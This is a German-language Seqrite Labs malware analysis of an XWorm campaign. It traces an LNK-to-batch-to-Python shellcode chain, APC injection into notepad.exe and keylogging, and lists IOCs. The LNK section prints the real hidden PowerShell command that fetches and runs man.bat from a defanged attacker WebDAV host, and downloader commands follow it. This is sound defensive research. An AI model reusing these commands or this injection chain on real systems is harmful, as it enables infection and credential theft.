• Produkte & Angebote
        • Wolke

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • On Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Plattform

          • Malware Analysis Platform
        • Vertriebspartner

          • SOHO Total Edition
        • Services

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Cybersicherheit & Data Privacy Aufmerksamkeit
  • Lösungen
    • BFSI
    • Fachwissen
    • Behörden
    • Gesundheitswesen
    • ITeS
    • Industrie
  • Firma
    • Über uns Seqrite
    • Leadership
    • Auszeichnungen & Zertifizierungen
    • Newsroom
  • Partner
    • Partner Programm
    • Partner finden
    • PARTNER WERDEN
  • Unterstützung
  • Ressourcen
    • Blogs
    • Whitepapers
    • Datenblätter
    • Case Studies
    • Bedrohungsberichte
    • Handbücher
    • PoV
    • Ohne fundierte Kenntnisse zu Data Privacy
    • Prüfen Sie Ihre Risikobewertung
    • DPDP-Dialoge
    • Stunde der Privatsphäre
Seqrite Labs Blog
Vertrieb kontaktieren Angegriffen?
  • Produkte & Angebote
        • Wolke

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BYOD
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • On Prem

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • Plattform

          • Malware Analysis Platform
        • Vertriebspartner

          • SOHO Total Edition
        • Services

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Cybersicherheit & Data Privacy Aufmerksamkeit
  • Lösungen
    • BFSI
    • Fachwissen
    • Behörden
    • Gesundheitswesen
    • ITeS
    • Industrie
  • Firma
    • Über uns Seqrite
    • Leadership
    • Auszeichnungen & Zertifizierungen
    • Newsroom
  • Partner
    • Partner Programm
    • Partner finden
    • PARTNER WERDEN
  • Unterstützung
  • Ressourcen
    • Blogs
    • Whitepapers
    • Datenblätter
    • Case Studies
    • Bedrohungsberichte
    • Handbücher
    • PoV
    • Ohne fundierte Kenntnisse zu Data Privacy
    • Prüfen Sie Ihre Risikobewertung
    • DPDP-Dialoge
    • Stunde der Privatsphäre
Startseite  /  Technische  / XWorm: Analyse neuer Infektionstaktiken mit alter Nutzlast
XWorm: Analyse neuer Infektionstaktiken mit alter Nutzlast
04 Dezember 2024

XWorm: Analyse neuer Infektionstaktiken mit alter Nutzlast

Geschrieben von Rumana Siddiqui
Rumana Siddiqui
Technische
1

Einführung:

Angreifer entwickeln ständig neue Techniken, um Systeme zu infizieren und vertrauliche Informationen zu stehlen. Eine aktuelle Kampagne umfasst eine mehrstufige Infektionskette, die mit einer LNK-Datei beginnt, die das Opfer dazu verleitet, eine Rechnung in einem Webbrowser zu öffnen. Im Hintergrund führt die Datei eine Reihe schädlicher Aktivitäten aus, die das System mit einem XWorm infizieren.

In diesem Blogbeitrag untersuchen wir die technischen Details von XWorm. In der ersten Analyse betrachten wir die verschiedenen Phasen der Infektionskette, beginnend mit einer LNK-Datei. Anschließend gehen wir auf die Taktiken, Techniken und Verfahren (TTPs) ein, wie beispielsweise die Verwendung von PowerShell, Python-Skripten und Payloads durch den Angreifer. Abschließend betrachten wir die Methoden, die die Shellcode-Injektion der XWorm-Payload ermöglichen. Hierbei verwendet der Angreifer die ältere Variante, die dieselbe Funktionalität wie die neuere Variante von XWorm aufweist , jedoch das Xlogger-Modul enthält.

Infektionskette:

Kürzlich stießen wir auf eine LNK-Datei, die Opfer durch das Öffnen einer Rechnung im Webbrowser anlockt. Im Hintergrund lädt sie eine ZIP-Datei mit Python-Setup-Dateien herunter. Die extrahierte Datei enthält Python-Setup-Dateien und verschiedene Skripte. Im Skriptordner wurde das schädliche Skript „Man.py“ gefunden, das für die Entschlüsselung und Einschleusung von schädlichem Shellcode in das System verantwortlich ist.

Abb. 1: Infektionskette

LNK-Datei:

Die LNK-Datei führt den PowerShell-Befehl im versteckten Modus aus. Mithilfe des PowerShell-Befehls kopiert sie die Batchdatei man.bat in den Download-Ordner und führt diese anschließend im Hintergrund mit Start-Process aus. Dabei wird das Flag -WindowStyle Hidden verwendet, um sicherzustellen, dass das Eingabeaufforderungsfenster nicht angezeigt wird.

" 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c „Copy-Item ‚\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat‘ \“$env:USERPROFILE\Downloads\“; Start-Process \“$env:USERPROFILE\Downloads\man[.]bat\“ -WindowStyle Hidden“

"

 

Abb. 2: LNK-Datei und ihr Ziel

 

Bat-Datei:

Die heruntergeladene .bat-Datei ist für die Einleitung des Infektionsprozesses verantwortlich. Sie lenkt das Opfer ab, indem sie im Webbrowser eine Steuerrechnung öffnet.

Die .bat-Datei enthält einen Link, der den Start einer PDF-Datei initiiert. Darüber hinaus führt sie einen PowerShell-Befehl aus, um eine ZIP-Datei herunterzuladen, deren Inhalt zu extrahieren, zum Ordner zu navigieren und ein Python-Skript auszuführen, das schädlichen Shellcode in das System einschleust.

Downloads Die ZIP-Datei:

Powershell -Befehl „& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }“

Es verwendet „Invoke-WebRequest“, um eine Datei von der fest codierten URL herunterzuladen und sie unter %destination% zu speichern, es handelt sich dabei um einen Download-Speicherort.

Extrahieren Sie die ZIP-Datei mit dem PowerShell-Befehl im selben Download-Ordner

powershell -Command “& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }

Nach dem Extrahieren der ZIP-Datei navigiert es zu dem Ordner, in dem sich man.py befindet, und führt es aus.

Abb. 3: Bat-Datei

In Abb. 4 sehen wir, dass die ZIP-Datei mit dem Namen „qfv0ao“ in den Download-Ordner heruntergeladen wird, der Webbrowser die PDF-Datei öffnet (Abb. 5) und PowerShell zum Entpacken der Datei verwendet wird (Abb. 6).

 

 

Abb. 6: Bat-Datei Enthält PowerShell-Befehl zum Entschlüsseln der ZIP-Datei

 

Python-Skript:

Das Python-Skript enthält den verschlüsselten Shellcode. Dieser wird mittels Base64 entschlüsselt, gefolgt von der RC4-Entschlüsselung, wobei der Schlüssel im Skript selbst fest codiert ist. Es verwendet VirtualProtect, um die Berechtigung des zugewiesenen Speichers zu ändern, wie in Abbildung 7 zu sehen ist.

Abb. 7: Python-Datei mit Shellcode

 

Injektion:

Das Python-Skript legt zunächst die Ausführungsberechtigung für den Shellcode fest und führt ihn dann aus. Die Startfunktion des Shellcodes übernimmt die Entschlüsselung und Ausführung der Nutzlast, die XWorm darstellt. In Abb. 8 unten sehen wir die Sequenz der Shellcode-Injektion.

Abb. 8: Shellcode

In Abb. 8 ist der Shellcode mit der Berechtigung PAGE_EXECUTE_READWRITE zu sehen . Die Ausführung des Shellcodes ist in Abb. 9 dargestellt. Einige Bytes des ersten Teils des Shellcodes sind für das Einschleusen des Shellcodes in „notepad.exe“ verantwortlich.

Abb. 9: Ausführung des Shellcodes

 

Abb. 10: Shellcode-Injektion

 

Abb. 11: Notepad.exe wurde gestartet

Nach der Ausführung des Python-Skripts man.py wird gemäß Abb. 11 „notepad.exe“ gestartet. Zunächst wird notepad.exe im Standby-Zustand gestartet. Anschließend werden Speicher zugewiesen und Shellcode in den Adressraum von notepad.exe eingefügt (siehe Abb. 12 und 13).

Beim Einfügen des Shellcodes wird ein asynchroner Prozeduraufruf (APC) an notepad.exe gesendet. Dieser APC verweist auf die Adresse, an der sich der Schadcode im Speicher befindet. Wird notepad.exe aus dem angehaltenen Zustand fortgesetzt, löst der APC die Ausführung des Schadcodes aus.

Abb. 12: Eingeschleuster Shellcode

 

Abb. 13. Der entschlüsselte Shellcode, der Xworm ist

PE-Datei:

Diese Variante von XWorm ist eine ältere, noch aktive Version, die neue Methoden zur Infektion des Systems ausprobiert. In dieser Version wird unmittelbar nach der Mutex-Erstellung die Xlogger-Funktion „callk“ aufgerufen. Dieses Xlogger-Modul protokolliert alle Ereignisse wie das Öffnen von Dateien, Tastatureingaben, die Nutzung des Webbrowsers usw. und speichert sie im Pfad „Local/Temp/log.txt“. Durch den entsprechenden Befehl vom C2-Server wird die Datei weiter exfiltriert.

Abb. 14: Funktionsaufruf

Keylogging:

Die Keylogger-Funktion dient zum Erfassen von Tastatureingaben und kann potenziell sensible Informationen wie Anmeldeinformationen oder persönliche Daten stehlen. Wie wir im folgenden Snippet sehen, werden APIs wie SetWindowsHookEx mit dem Hook-Typ WH_KEYBOARD_LL verwendet, um Tastatureingaben zu erfassen. Diese protokollierten Tastatureingaben können lokal gespeichert oder exfiltriert werden.

Darüber hinaus werden häufig Funktionen wie GetKeyboardState oder ToUnicodeEx verwendet, um Tastendrücke unter Berücksichtigung des aktuellen Tastaturlayouts in lesbaren Text umzuwandeln.

Abb. 15: Keylogging-Modul

Fazit:

In diesem Blogbeitrag beschreiben wir die Infektionskette eines ausgeklügelten, mehrstufigen Malware- Angriffs, der verschiedene Techniken nutzt, um das System des Opfers zu infizieren. Durch die Kombination einer schädlichen LNK-Datei, PowerShell-Befehlen, einer Batch-Datei, Python-Skripten und Speichereinschleusung führt die Malware ihre Nutzlast ohne jegliche Aufforderung aus. Ihre Fähigkeiten, darunter Shellcode-Injektion und Keylogging, ermöglichen es ihr, sensible Informationen wie Anmeldedaten zu stehlen und an einen entfernten, vom Angreifer kontrollierten Server zu übertragen.

 

IOCs:

MD5

Name MD5
LNK-Datei 1556BD8155D8E9FF2DBDCD852A354B64
Batchdatei D0B5238A18ABC402B506F608968270DC
PLZ C627DE3B90A0FB5CA8964026360B053A
XWorm-Nutzlast 5EDAB6926E304E4DBEF76800918BEE8A

 

Schutz:

 

Trojan.Xworm.S34251703

Trojan.GenericFC.S29960909

 

MITRE ATT&CK:

Taktik Technik-ID Name
Verschleierung T1027 Verschleierte Dateien oder Informationen
Ausführung T1059.005 Befehls- und Skriptinterpreter: Visual Basic
Screen Capture T1113 Screen Capture
Sammeln Sie Informationen zum Opfer T1592 Sammelt Systeminformationen
Eingabeerfassung T1056 Keylogging
Verteidigungsflucht T1055.002 Prozessinjektion: Portable Executable Injection
Inhaltseinfügung T1659 Einschleusen von Schadcode in Systeme
Command and Control T1071.001 Application Layer Protocol: Webprotokolle

 Autor:

Vaibhav Krushna Billade

Rumana Siddiqui

 VORHERIGER ARTIKELSich entwickelnde Bedrohungen: Das adaptive Design der XWorm-Malware
NÄCHSTER ARTIKEL  So schützen Sie Ihre Marke vor gefälschten Websites und Online-Identitätsdiebstahl ...
Rumana Siddiqui

Über Rumana Siddiqui

Rumana Siddiqui arbeitet als Senior Security Researcher bei Quick Heal Security Labs. Ihre Leidenschaft gilt der Malware-Analyse, dem Reverse Engineering und der Erforschung von...

Artikel von Rumana Siddiqui »

Verwandte Artikel

  • CVE-2026-3854: Wie Git-Push-Optionen zu einem internen Metadaten-Injektionsprimitiv wurden

    6. Oktober 2026
  • Einblick in DragonForce: Wie die Payload eines Ransomware-Kartells tatsächlich funktioniert

    1. Oktober 2026
  • MacSync: Der schwer fassbare macOS-Dieb, der ClickFix-Köder ausnutzt

    September 8, 2026
Ausgewählte Autoren
  • Seqrite
    Seqrite

    Seqrite ist ein führender Anbieter von Cybersicherheitslösungen für Unternehmen. Mit dem Fokus auf...

    Lesen Sie weitere Artikel von Seqrite
  • Bineesh P
    Bineesh P

    Ich bin ein leidenschaftlicher Cybersicherheits-Enthusiast und engagierter Autor. Mit einem besonderen Talent...

    Lesen Sie weitere Artikel von Bineesh P.
  • Jyoti Karlekar
    Jyoti Karlekar

    Ich bin eine leidenschaftliche Autorin, die gerne Inhalte über neue Technologien verfasst und...

    Lesen Sie weitere Artikel von Jyoti Karlekar
  • Sanjay Katkar
    Sanjay Katkar

    Sanjay Katkar ist der gemeinsame Geschäftsführer von Quick Heal Technologies ...

    Lesen Sie weitere Artikel von Sanjay Katkar
Themen
geeignet (25) Cyber ​​Attacke (36) Cyber-Angriffe (58) Cyberangriff (16) Cyber-Angriffe (15) Internet-Sicherheit (344) Internet-Sicherheit (34) Cyber-Bedrohung (33) Cyber-Bedrohungen (51) Datenmissbrauch (56) Datenverstöße (29) Data Loss (28) Verhinderung von Datenverlust (34) data privacy (17) Datenschutz gelesen. (35) Datensicherheit (19) DLP (50) DPDP (14) DPDPA (17) Verschlüsselung (16) Endpoint-Sicherheit (113) Unternehmenssicherheit (20) Ausnutzen (13) Datenschutz (14) Malware (76) Malware-Analyse (15) Malware-Angriff (23) MDM (27) Microsoft (15) MITRE ATT & CK (14) Netzwerksicherheit (26) Phishing (30) Ransomware (69) Ransomware-Angriff (31) Ransomware-Angriffe (31) Ransomware-Schutz (17) Seqrite (41) Seqrite Verschlüsselung (27) Seqrite EPS (33) Seqrite Services (16) Bedrohungserkennung (15) Threat IntelLigence (26) UTM (34) Verwundbarkeit (16) null vertrauen (13)
Seqrite Labs

Führender Anbieter von IT-Sicherheitslösungen für Unternehmen, der die Sicherheit von Endpunkten, Daten und Netzwerken mit erstklassigen Lösungen zur Bedrohungsprävention, -erkennung und -reaktion weltweit vereinfacht.

Lesen Sie mehr über Seqrite

Folge uns:

Abonniere unseren Newsletter

Bleiben Sie über die neuesten Trends und Erkenntnisse zur Cybersicherheit auf dem Laufenden.

Laden
Produkte & Angebote
  • Wolke
  • Endpoint Protection
  • Endpoint Detection and Response
  • Mobile Device Management
  • BYOD
  • Extended Detection and Response
  • Zero Trust Network Access
  • Data Privacy
  • On Prem
  • Endpoint Protection
  • Endpoint Detection and Response
  • Data Privacy
  • Plattform
  • Malware Analysis Platform
  • Mikrounternehmen
  • SOHO Total Edition
  • Services
  • Threat Intel
  • Digital Risk Protection Services (DRPS)
  • Ransomware Recovery as a Services (RRaaS)
  • DPDP Compliance
  • Managed Detection and Response
  • Cybersicherheit & Data Privacy Aufmerksamkeit
Ressourcen
  • Blogs
  • Whitepapers
  • Datenblätter
  • Bedrohungsberichte
  • Handbücher
  • PoV
  • Ohne fundierte Kenntnisse zu Data Privacy
  • DPDP-Dialoge
  • Einhaltung von Richtlinien
  • EULA
  • GoDeep.AI
  • SIA
  • Stunde der Privatsphäre
Kontakt
  • Sitz der Gesellschaft
  • Reden wir über Cybersicherheit
Unterstützung
  • Technischer Support
  • Software herunterladen
  • Offline-Updater
  • Firmware-Upgrades
  • Upgrades, Modernisierungen & TIPs
  • Produktdokumentation
Über uns
  • Über uns Seqrite
  • Leadership
  • Auszeichnungen & Anerkennungen
  • Newsroom
Partner
  • Partner Programm
  • Partner finden
  • PARTNER WERDEN
  • Seqrite Zertifizierungsanforderungen

© 2026 Quick Heal Technologies Ltd.

Sitemap Datenschutzrichtlinien Rechtliche Hinweise Cookie-Richtlinien Nutzungsbedingungen